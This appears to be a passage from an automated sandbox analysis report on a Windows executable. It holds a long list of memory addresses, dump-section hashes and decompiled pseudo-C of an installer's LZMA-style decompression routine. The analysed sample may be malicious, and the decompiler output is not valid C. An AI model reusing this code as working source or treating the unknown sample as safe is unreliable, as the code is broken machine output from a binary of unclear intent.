                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406927
                                                                                    0x0040692a
                                                                                    0x0040699b
                                                                                    0x0040699e
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406933
                                                                                    0x00406935
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x0040694d
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406962
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406972
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00000000
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x0040697d
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be6
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf3
                                                                                    0x00406bf6
                                                                                    0x00406bf9
                                                                                    0x00406bfc
                                                                                    0x00406bff
                                                                                    0x00406c01
                                                                                    0x00406c08
                                                                                    0x00406c09
                                                                                    0x00406c0b
                                                                                    0x00406c0e
                                                                                    0x00406c11
                                                                                    0x00406c14
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406c19
                                                                                    0x00406bca
                                                                                    0x00406bcd
                                                                                    0x00406bd0
                                                                                    0x00406bda
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c85
                                                                                    0x00406c87
                                                                                    0x00406c8b
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069be
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x00000000
                                                                                    0x0040712f
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e6
                                                                                    0x004069e9
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069ef
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a26
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a59
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a62
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a77
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406abf
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aea
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406aef
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b3b
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00406b60
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00000000
                                                                                    0x00406b07
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b83
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bae
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bb3
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f81
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00000000
                                                                                    0x0040704f
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d5a
                                                                                    0x00406d5d
                                                                                    0x00406d60
                                                                                    0x00406d62
                                                                                    0x00406d64
                                                                                    0x00406d64
                                                                                    0x00406d65
                                                                                    0x00406d68
                                                                                    0x00406d6f
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407065
                                                                                    0x00407065
                                                                                    0x00407069
                                                                                    0x004071a1
                                                                                    0x00000000
                                                                                    0x004071a1
                                                                                    0x0040706f
                                                                                    0x00407072
                                                                                    0x00407075
                                                                                    0x00407079
                                                                                    0x0040707c
                                                                                    0x00407082
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708d
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x004070f1
                                                                                    0x004070f4
                                                                                    0x004070f9
                                                                                    0x004070fa
                                                                                    0x004070fc
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00407013
                                                                                    0x0040700d
                                                                                    0x00407093
                                                                                    0x00407099
                                                                                    0x0040709c
                                                                                    0x0040709f
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b1
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070d3
                                                                                    0x004070d6
                                                                                    0x004070da
                                                                                    0x004070dc
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070be
                                                                                    0x004070c3
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070e3
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000
                                                                                    0x004071c0
                                                                                    0x0040700d
                                                                                    0x00406f94
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406ce6

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 1e7a7db026ec9aad88acaa11386c02789d7bc6b83e00ba9479abd6ecc9ecffba
                                                                                    • Instruction ID: a9aff89c954bf491ffe4c30e494efe667c8bfb024e4a61e14b5544386b4e6ab4
                                                                                    • Opcode Fuzzy Hash: 1e7a7db026ec9aad88acaa11386c02789d7bc6b83e00ba9479abd6ecc9ecffba
                                                                                    • Instruction Fuzzy Hash: 47713471D04229CBDF28CF98C844BADBBB1FF48305F15806AD856BB281C7786996DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406C2E() {
                                                                                    				unsigned short _t531;
                                                                                    				signed int _t532;
                                                                                    				void _t533;
                                                                                    				signed int _t534;
                                                                                    				signed int _t535;
                                                                                    				signed int _t565;
                                                                                    				signed int _t568;
                                                                                    				signed int _t589;
                                                                                    				signed int* _t606;
                                                                                    				void* _t613;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					if( *(_t613 - 0x40) != 0) {
                                                                                    						 *(_t613 - 0x84) = 0xa;
                                                                                    						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
                                                                                    					} else {
                                                                                    						 *(__ebp - 0x84) = 9;
                                                                                    						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    					}
                                                                                    					while(1) {
                                                                                    						 *(_t613 - 0x54) = _t606;
                                                                                    						while(1) {
                                                                                    							L133:
                                                                                    							_t531 =  *_t606;
                                                                                    							_t589 = _t531 & 0x0000ffff;
                                                                                    							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                    							if( *(_t613 - 0xc) >= _t565) {
                                                                                    								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                    								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                    								 *(_t613 - 0x40) = 1;
                                                                                    								_t532 = _t531 - (_t531 >> 5);
                                                                                    								 *_t606 = _t532;
                                                                                    							} else {
                                                                                    								 *(_t613 - 0x10) = _t565;
                                                                                    								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    								 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                    							}
                                                                                    							if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                    								goto L139;
                                                                                    							}
                                                                                    							L137:
                                                                                    							if( *(_t613 - 0x6c) == 0) {
                                                                                    								 *(_t613 - 0x88) = 5;
                                                                                    								L170:
                                                                                    								_t568 = 0x22;
                                                                                    								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                                                    								_t535 = 0;
                                                                                    								L172:
                                                                                    								return _t535;
                                                                                    							}
                                                                                    							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                    							L139:
                                                                                    							_t533 =  *(_t613 - 0x84);
                                                                                    							while(1) {
                                                                                    								 *(_t613 - 0x88) = _t533;
                                                                                    								while(1) {
                                                                                    									L1:
                                                                                    									_t534 =  *(_t613 - 0x88);
                                                                                    									if(_t534 > 0x1c) {
                                                                                    										break;
                                                                                    									}
                                                                                    									switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
                                                                                    										case 0:
                                                                                    											if( *(_t613 - 0x6c) == 0) {
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    											_t534 =  *( *(_t613 - 0x70));
                                                                                    											if(_t534 > 0xe1) {
                                                                                    												goto L171;
                                                                                    											}
                                                                                    											_t538 = _t534 & 0x000000ff;
                                                                                    											_push(0x2d);
                                                                                    											asm("cdq");
                                                                                    											_pop(_t570);
                                                                                    											_push(9);
                                                                                    											_pop(_t571);
                                                                                    											_t609 = _t538 / _t570;
                                                                                    											_t540 = _t538 % _t570 & 0x000000ff;
                                                                                    											asm("cdq");
                                                                                    											_t604 = _t540 % _t571 & 0x000000ff;
                                                                                    											 *(_t613 - 0x3c) = _t604;
                                                                                    											 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                                                    											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                                                    											_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                                                    											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                                                    												L10:
                                                                                    												if(_t612 == 0) {
                                                                                    													L12:
                                                                                    													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                                                    													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    													goto L15;
                                                                                    												} else {
                                                                                    													goto L11;
                                                                                    												}
                                                                                    												do {
                                                                                    													L11:
                                                                                    													_t612 = _t612 - 1;
                                                                                    													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                                                    												} while (_t612 != 0);
                                                                                    												goto L12;
                                                                                    											}
                                                                                    											if( *(_t613 - 4) != 0) {
                                                                                    												GlobalFree( *(_t613 - 4));
                                                                                    											}
                                                                                    											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    											 *(_t613 - 4) = _t534;
                                                                                    											if(_t534 == 0) {
                                                                                    												goto L171;
                                                                                    											} else {
                                                                                    												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                                                    												goto L10;
                                                                                    											}
                                                                                    										case 1:
                                                                                    											L13:
                                                                                    											__eflags =  *(_t613 - 0x6c);
                                                                                    											if( *(_t613 - 0x6c) == 0) {
                                                                                    												 *(_t613 - 0x88) = 1;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                                                    											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                    											_t45 = _t613 - 0x48;
                                                                                    											 *_t45 =  *(_t613 - 0x48) + 1;
                                                                                    											__eflags =  *_t45;
                                                                                    											L15:
                                                                                    											if( *(_t613 - 0x48) < 4) {
                                                                                    												goto L13;
                                                                                    											}
                                                                                    											_t546 =  *(_t613 - 0x40);
                                                                                    											if(_t546 ==  *(_t613 - 0x74)) {
                                                                                    												L20:
                                                                                    												 *(_t613 - 0x48) = 5;
                                                                                    												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                                                    												goto L23;
                                                                                    											}
                                                                                    											 *(_t613 - 0x74) = _t546;
                                                                                    											if( *(_t613 - 8) != 0) {
                                                                                    												GlobalFree( *(_t613 - 8));
                                                                                    											}
                                                                                    											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
